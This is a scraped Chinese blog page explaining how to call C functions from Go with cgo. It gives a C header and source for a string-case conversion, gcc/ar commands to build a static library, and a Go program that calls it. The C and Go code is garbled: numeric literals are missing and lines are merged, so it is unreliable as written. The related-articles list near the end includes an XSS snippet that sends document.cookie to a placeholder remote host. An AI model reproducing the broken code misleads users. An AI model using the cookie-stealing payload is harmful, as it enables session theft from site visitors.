在使用go语言时, 有时为了方便可以直接调用c语言的接口与库, 不需要重复编写。 那就来说说在go语言里面如何调用c的接口

首先编写好c语言的源文件与头文件,这里举一个简单的例子,实现一个字符串大小写转换的接口

头文件c.h

#pragma once

 #ifdef __cplusplus
extern "C" {
#endif int strcvt(char *src, int inlen, char **dst, int *outlen);
int strcvt1(char *src, int inlen, char *dst, int outlen);
#ifdef __cplusplus
}
#endif

  

源文件c.c

#include <stdio.h>
#include <stdlib.h>
#include "c.h" int strcvt(char *src, int inlen, char **dst, int *outlen)
{
*dst = (char*)malloc(inlen);
for (int i = ;i < inlen; i++)
{
(*dst)[i] = src[i] - ;
}
*outlen = inlen;
}
int strcvt1(char *src, int inlen, char *dst, int outlen)
{
for (int i = ;i < inlen; i++)
{
dst[i] = src[i] - ;
}
}

将c的文件编译,打包静态库

gcc -o c.o -c c.c
 ar r libc_test.a c.o

接着编写go文件

在go文件里面,添加要导入的c的头文件与静态库

// #cgo LDFLAGS: -L . -lc_test -lstdc++  (导入c的库)
// #cgo CFLAGS: -I ./              (导入头文件目录)
// #include "c.h"         (包含头文件)
注意每一行前面都要加 //

直接给一个调用上面的字符串转换接口的例子

package main

// #cgo LDFLAGS: -L . -lc_test -lstdc++
// #cgo CFLAGS: -I ./
// #include "c.h"
//#include <stdlib.h>
import "C" import "fmt"
import "unsafe" func main() {
var str1 string = "hello"
var dstchar *C.char
var outlen C.int
//var by *C.char = C.malloc(100)
by := make([]byte, 100)
//var ss string
C.strcvt(C.CString(str1), C.int(len(str1)), &dstchar, &outlen)
C.strcvt1(C.CString(str1), C.int(len(str1)), (*C.char)(unsafe.Pointer(&by[0])), 100)
fmt.Println("cvt1: ", string(by[0:4]))
fmt.Println("len : ", outlen)
dst := C.GoStringN(dstchar, outlen)
C.free(unsafe.Pointer(dstchar))
fmt.Println(dst)
}

  

go 使用 c接口的更多相关文章

  1. App开发:模拟服务器数据接口 - MockApi

    为了方便app开发过程中,不受服务器接口的限制,便于客户端功能的快速测试,可以在客户端实现一个模拟服务器数据接口的MockApi模块.本篇文章就尝试为使用gradle的android项目设计实现Moc ...

  2. 干货来袭-整套完整安全的API接口解决方案

    在各种手机APP泛滥的现在,背后都有同样泛滥的API接口在支撑,其中鱼龙混杂,直接裸奔的WEB API大量存在,安全性令人堪优 在以前WEB API概念没有很普及的时候,都采用自已定义的接口和结构,对 ...

  3. 12306官方火车票Api接口

    2017,现在已进入春运期间,真的是一票难求,深有体会.各种购票抢票软件应运而生,也有购买加速包提高抢票几率,可以理解为变相的黄牛.对于技术人员,虽然写一个抢票软件还是比较难的,但是还是简单看看123 ...

  4. Java基础Map接口+Collections工具类

    1.Map中我们主要讲两个接口 HashMap  与   LinkedHashMap (1)其中LinkedHashMap是有序的  怎么存怎么取出来 我们讲一下Map的增删改查功能: /* * Ma ...

  5. Java基础Map接口+Collections

    1.Map中我们主要讲两个接口 HashMap  与   LinkedHashMap (1)其中LinkedHashMap是有序的  怎么存怎么取出来 我们讲一下Map的增删改查功能: /* * Ma ...

  6. java基础_集合List与Set接口

    List接口继承了Collection的方法  当然也有自己特有的方法向指定位置添加元素   add(索引,添加的元素); 移除指定索引的元素   remove(索引) 修改指定索引的元素   set ...

  7. 【WCF】自定义错误处理(IErrorHandler接口的用法)

    当被调用的服务操作发生异常时,可以直接把异常的原始内容传回给客户端.在WCF中,服务器传回客户端的异常,通常会使用 FaultException,该异常由这么几个东东组成: 1.Action:在服务调 ...

  8. PHP以接口方式实现多重继承(完全模拟)--学习笔记

     1.UML类图: 2.PHP代码: <?php /** * Created by PhpStorm. * User: andy * Date: 16-11-23 * Time: 下午7:57 ...

  9. 【微框架】Maven +SpringBoot 集成 阿里大鱼 短信接口详解与Demo

    Maven+springboot+阿里大于短信验证服务 纠结点:Maven库没有sdk,需要解决 Maven打包找不到相关类,需要解决 ps:最近好久没有写点东西了,项目太紧,今天来一篇 一.本文简介 ...

  10. 【接口开发】浅谈 SOAP Webserver 与 Restful Webserver 区别

    接口,强大,简单,交互,跨越平台 下面简单阐述这两大接口思想 一 REST: REST是一种架构风格,其核心是面向资源,REST专门针对网络应用设计和开发方式,以降低开发的复杂性,提高系统的可伸缩性. ...

随机推荐

  1. 阿里云服务器配置https(port443)后客户端 svn check out 失效解决办法

    1. 客户端环境 1. 操作系统:Windows 7 2. svn客户端:TortoiseSVN 2. 服务端环境 1. 云服务平台:阿里云 2. 操作系统:Windows Server 2008 R ...

  2. 导出insert语句

    --by zhuyj 显示&select ‘\&s’ from dual; --注意必须要加引号 --by zhuyjcreate or replace function fun_ex ...

  3. vue轮播图中间大两头小

    <template> <div v-if="items.length" class="full-page-slide-wrapper"> ...

  4. Django之Orm的各种操作

    1.一般操作 ***必知必会13条*** <1> all(): 查询所有结果 <2> filter(**kwargs): 它包含了与所给筛选条件相匹配的对象 models.Cu ...

  5. C# 调用继电器api usb_relay_device.dll

    C# 调用继电器api usb_relay_device.dll 代码封装 usb_relay_device.dll 为C++编写 using System; using System.Collect ...

  6. 安装SSL证书 and 根域名跳转www域名

    1.安装自签证书 自签证书也就是不被公网认可的证书,可在局域网内进行签名认证,其12306也是自签证书,通过证书+nginx代理web服务器 可以实现https连接  一.使用OpenSSL创建证书 ...

  7. redis对hash进行的相关操作

    redis对hash类型操作的相关命令以及如何在python使用这些命令 redis对hash类型操作的命令: 命令 语法 概述 返回值 Redis Hdel 命令 hdel key field [f ...

  8. 判断 Python 版本

    if sys.version_info.major == 2: try: message = unicode(message, "utf-8") except UnicodeDec ...

  9. xss 加载远程第三方JS

    script 没有调用远程平台,用web接收cookie <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.coo ...

  10. JS与CSS那些特别小的知识点区别

    1:target与currentTarget的区别 currentTarget指向的事件绑定的元素,target指向的是你点击的元素 2:attr与jprop在jQuery在API当中的区别 2.1: ...